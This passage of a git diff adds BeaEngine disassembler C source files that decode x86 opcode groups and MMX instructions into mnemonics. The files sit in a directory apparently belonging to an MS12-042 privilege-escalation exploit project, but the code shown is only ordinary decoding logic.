pMyDisasm); + (*pMyDisasm).Instruction.Category = SYSTEM_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "lmsw "); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+CR_REG+REG0; + (*pMyDisasm).Argument2.ArgSize = 16; + GV.EIP_+= GV.DECALAGE_EIP+2; + } + else if (GV.REGOPCODE == 7) { + if (GV.MOD_== 0x3) { + if (GV.Architecture == 64) { + if (GV.RM_ == 0x0) { + (*pMyDisasm).Instruction.Category = SYSTEM_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "swapgs "); + #endif + GV.EIP_+= GV.DECALAGE_EIP+2; + } + else { + FailDecode(pMyDisasm); + } + } + else { + if (GV.RM_ == 0x1) { + (*pMyDisasm).Instruction.Category = SYSTEM_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "rdtscp "); + #endif + GV.EIP_+= GV.DECALAGE_EIP+2; + } + else { + FailDecode(pMyDisasm); + } + } + } + else { + GV.MemDecoration = Arg2byte; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + (*pMyDisasm).Instruction.Category = SYSTEM_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "invlpg "); + #endif + GV.EIP_+= GV.DECALAGE_EIP+2; + } + } + else { + FailDecode(pMyDisasm); + } + + +} + diff --git a/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/instr_set/opcodes_Grp8.c b/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/instr_set/opcodes_Grp8.c new file mode 100644 index 0000000..cd0447e --- /dev/null +++ b/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/instr_set/opcodes_Grp8.c @@ -0,0 +1,70 @@ +/* Copyright 2006-2009, BeatriX + * File coded by BeatriX + * + * This file is part of BeaEngine. + * + * BeaEngine is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * BeaEngine is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with BeaEngine. If not, see . */ + +/* ==================================================================== + * 0fbah + * ==================================================================== */ +void __bea_callspec__ G8_EvIb(PDISASM pMyDisasm) +{ + GV.REGOPCODE = ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 3) & 0x7; + EvIb(pMyDisasm); + if (GV.REGOPCODE == 4) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+BIT_UInt8; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "bt "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + FillFlags(pMyDisasm, 11); + } + else if (GV.REGOPCODE == 5) { + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+BIT_UInt8; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "bts "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + FillFlags(pMyDisasm, 11); + } + else if (GV.REGOPCODE == 6) { + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+BIT_UInt8; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "btr "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + FillFlags(pMyDisasm, 11); + } + else if (GV.REGOPCODE == 7) { + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+BIT_UInt8; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "btc "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + FillFlags(pMyDisasm, 11); + } + else { + FailDecode(pMyDisasm); + } +} diff --git a/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/instr_set/opcodes_Grp9.c b/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/instr_set/opcodes_Grp9.c new file mode 100644 index 0000000..2519c86 --- /dev/null +++ b/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/instr_set/opcodes_Grp9.c @@ -0,0 +1,84 @@ +/* Copyright 2006-2009, BeatriX + * File coded by BeatriX + * + * This file is part of BeaEngine. + * + * BeaEngine is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * BeaEngine is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with BeaEngine. If not, see . */ + + +/* ==================================================================== + * 0fc7h + * ==================================================================== */ +void __bea_callspec__ G9_(PDISASM pMyDisasm) +{ + GV.REGOPCODE = ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 3) & 0x7; + GV.MemDecoration = Arg2qword; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + if (GV.REGOPCODE == 1) { + if (GV.REX.W_ == 1) { + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmpxchg16b "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG0+REG2; + (*pMyDisasm).Argument1.ArgSize = 128; + (*pMyDisasm).Argument1.AccessMode = READ; + FillFlags(pMyDisasm, 23); + GV.EIP_ += GV.DECALAGE_EIP+2; + } + else { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmpxchg8b "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG0+REG2; + (*pMyDisasm).Argument1.ArgSize = 64; + (*pMyDisasm).Argument1.AccessMode = READ; + FillFlags(pMyDisasm, 23); + GV.EIP_ += GV.DECALAGE_EIP+2; + } + } + else if (GV.REGOPCODE == 6) { + (*pMyDisasm).Instruction.Category = VM_INSTRUCTION; + if (GV.OperandSize == 16) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "vmclear "); + #endif + } + else if (GV.PrefRepe == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "vmxon "); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "vmptrld "); + #endif + } + GV.EIP_ += GV.DECALAGE_EIP+2; + + } + else if (GV.REGOPCODE == 7) { + (*pMyDisasm).Instruction.Category = VM_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "vmptrst "); + #endif + GV.EIP_ += GV.DECALAGE_EIP+2; + } + else { + FailDecode(pMyDisasm); + } + +} diff --git a/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/instr_set/opcodes_MMX.c b/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/instr_set/opcodes_MMX.c new file mode 100644 index 0000000..c59217b --- /dev/null +++ b/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/instr_set/opcodes_MMX.c @@ -0,0 +1,1722 @@ +/* Copyright 2006-2009, BeatriX + * File coded by BeatriX + * + * This file is part of BeaEngine. + * + * BeaEngine is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * BeaEngine is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with BeaEngine. If not, see . */ + +void __bea_callspec__ emms_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+STATE_MANAGEMENT; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "emms "); + #endif + GV.EIP_++; +} + +/* ==================================================================== + * 0x 0f 7e + * ==================================================================== */ +void __bea_callspec__ movd_EP(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+DATA_TRANSFER; + /* ========= 0xf3 */ + if (GV.PrefRepe == 1) { + (*pMyDisasm).Prefix.RepPrefix = MandatoryPrefix; + GV.MemDecoration = Arg2qword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movq "); + #endif + GV.SSE_ = 1; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + Reg_Opcode(&(*pMyDisasm).Argument1, pMyDisasm); + GV.SSE_ = 0; + GV.EIP_+= GV.DECALAGE_EIP+2; + } + /* ========== 0x66 */ + else if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + if (GV.REX.W_ == 1) { + GV.MemDecoration = Arg1qword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movq "); + #endif + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + GV.SSE_ = 1; + Reg_Opcode(&(*pMyDisasm).Argument2, pMyDisasm); + GV.SSE_ = 0; + GV.EIP_+= GV.DECALAGE_EIP+2; + } + else { + GV.MemDecoration = Arg1dword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movd "); + #endif + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + GV.SSE_ = 1; + Reg_Opcode(&(*pMyDisasm).Argument2, pMyDisasm); + GV.SSE_ = 0; + GV.EIP_+= GV.DECALAGE_EIP+2; + } + } + else { + if (GV.REX.W_ == 1) { + GV.MemDecoration = Arg1qword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movq "); + #endif + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + GV.MMX_ = 1; + Reg_Opcode(&(*pMyDisasm).Argument2, pMyDisasm); + GV.MMX_ = 0; + GV.EIP_+= GV.DECALAGE_EIP+2; + } + else { + GV.MemDecoration = Arg1dword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movd "); + #endif + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + GV.MMX_ = 1; + Reg_Opcode(&(*pMyDisasm).Argument2, pMyDisasm); + GV.MMX_ = 0; + GV.EIP_+= GV.DECALAGE_EIP+2; + } + } +} + + +/* ==================================================================== + * 0x 0f 6e + * ==================================================================== */ +void __bea_callspec__ movd_PE(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+DATA_TRANSFER; + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + if (GV.REX.W_ == 1) { + GV.MemDecoration = Arg2qword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movq "); + #endif + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + GV.SSE_ = 1; + Reg_Opcode(&(*pMyDisasm).Argument1, pMyDisasm); + GV.SSE_ = 0; + GV.EIP_+= GV.DECALAGE_EIP+2; + } + else { + GV.MemDecoration = Arg2dword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movd "); + #endif + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + GV.SSE_ = 1; + Reg_Opcode(&(*pMyDisasm).Argument1, pMyDisasm); + GV.SSE_ = 0; + GV.EIP_+= GV.DECALAGE_EIP+2; + } + } + else { + if (GV.REX.W_ == 1) { + GV.MemDecoration = Arg2qword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movq "); + #endif + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + GV.MMX_ = 1; + Reg_Opcode(&(*pMyDisasm).Argument1, pMyDisasm); + GV.MMX_ = 0; + GV.EIP_+= GV.DECALAGE_EIP+2; + } + else { + GV.MemDecoration = Arg2dword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movd "); + #endif + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + GV.MMX_ = 1; + Reg_Opcode(&(*pMyDisasm).Argument1, pMyDisasm); + GV.MMX_ = 0; + GV.EIP_+= GV.DECALAGE_EIP+2; + } + } +} + + + +/* ==================================================================== + * 0x 0f 6f + * ==================================================================== */ +void __bea_callspec__ movq_PQ(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+DATA_TRANSFER; + /* ========= 0xf3 */ + if (GV.PrefRepe == 1) { + (*pMyDisasm).Prefix.RepPrefix = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movdqu "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + /* ========== 0x66 */ + else if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movdqa "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movq "); + #endif + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + + +/* ==================================================================== + * 0x 0f 7f + * ==================================================================== */ +void __bea_callspec__ movq_QP(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+DATA_TRANSFER; + /* ========= 0xf3 */ + if (GV.PrefRepe == 1) { + (*pMyDisasm).Prefix.RepPrefix = MandatoryPrefix; + GV.MemDecoration = Arg1dqword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movdqu "); + #endif + GV.SSE_ = 1; + ExGx(pMyDisasm); + GV.SSE_ = 0; + } + /* ========== 0x66 */ + else if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg1dqword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movdqa "); + #endif + GV.SSE_ = 1; + ExGx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg1qword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movq "); + #endif + GV.MMX_ = 1; + ExGx(pMyDisasm); + GV.MMX_ = 0; + } +} + +/* ==================================================================== + * 0x 0f d6 + * ==================================================================== */ +void __bea_callspec__ movq_WV(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+DATA_TRANSFER; + /* ========= 0xf2 */ + if (GV.PrefRepne == 1) { + (*pMyDisasm).Prefix.RepnePrefix = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movdq2q "); + #endif + GV.MMX_ = 1; + Reg_Opcode(&(*pMyDisasm).Argument1, pMyDisasm); + GV.MMX_ = 0; + GV.SSE_ = 1; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + GV.SSE_ = 0; + GV.EIP_+= GV.DECALAGE_EIP+2; + + } + /* ========= 0xf3 */ + else if (GV.PrefRepe == 1) { + (*pMyDisasm).Prefix.RepPrefix = MandatoryPrefix; + GV.MemDecoration = Arg2qword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movq2dq "); + #endif + GV.SSE_ = 1; + Reg_Opcode(&(*pMyDisasm).Argument1, pMyDisasm); + GV.SSE_ = 0; + GV.MMX_ = 1; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + GV.MMX_ = 0; + GV.EIP_+= GV.DECALAGE_EIP+2; + } + /* ========== 0x66 */ + else if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg1qword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movq "); + #endif + GV.SSE_ = 1; + ExGx(pMyDisasm); + GV.SSE_ = 0; + } + else { + FailDecode(pMyDisasm); + } +} + + +/* ==================================================================== + * 0x 0f 38 1c + * ==================================================================== */ +void __bea_callspec__ pabsb_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+ARITHMETIC_INSTRUCTION; + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pabsb "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pabsb "); + #endif + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + +/* ==================================================================== + * 0x 0f 38 1e + * ==================================================================== */ +void __bea_callspec__ pabsd_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+ARITHMETIC_INSTRUCTION; + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pabsd "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pabsd "); + #endif + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + +/* ==================================================================== + * 0x 0f 38 1d + * ==================================================================== */ +void __bea_callspec__ pabsw_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+ARITHMETIC_INSTRUCTION; + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pabsw "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pabsw "); + #endif + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + +/* ==================================================================== + * 0x 0f 63 + * ==================================================================== */ +void __bea_callspec__ packsswb_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+CONVERSION_INSTRUCTION; + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "packsswb "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "packsswb "); + #endif + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + +/* ==================================================================== + * 0x 0f 6b + * ==================================================================== */ +void __bea_callspec__ packssdw_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+CONVERSION_INSTRUCTION; + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "packssdw "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "packssdw "); + #endif + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + +/* ==================================================================== + * 0x 0f 67 + * ==================================================================== */ +void __bea_callspec__ packuswb_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+CONVERSION_INSTRUCTION; + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "packuswb "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "packuswb "); + #endif + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + +/* ==================================================================== + * 0x 0f fc + * ==================================================================== */ +void __bea_callspec__ paddb_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+ARITHMETIC_INSTRUCTION; + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "paddb "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "paddb "); + #endif + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + +/* ==================================================================== + * 0x 0f fd + * ==================================================================== */ +void __bea_callspec__ paddw_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+ARITHMETIC_INSTRUCTION; + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "paddw "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "paddw "); + #endif + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + +/* ==================================================================== + * 0x 0f fe + * ==================================================================== */ +void __bea_callspec__ paddd_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+ARITHMETIC_INSTRUCTION; + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "paddd "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "paddd "); + #endif + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + +/* ==================================================================== + * 0x 0f ec + * ==================================================================== */ +void __bea_callspec__ paddsb_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+ARITHMETIC_INSTRUCTION; + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "paddsb "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "paddsb "); + #endif + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + +/* ==================================================================== + * 0x 0f ed + * ==================================================================== */ +void __bea_callspec__ paddsw_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+ARITHMETIC_INSTRUCTION; + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "paddsw "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "paddsw "); + #endif + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + +/* ==================================================================== + * 0x 0f dc + * ==================================================================== */ +void __bea_callspec__ paddusb_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+ARITHMETIC_INSTRUCTION; + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "paddusb "); + #endif + GV.SSE_ = 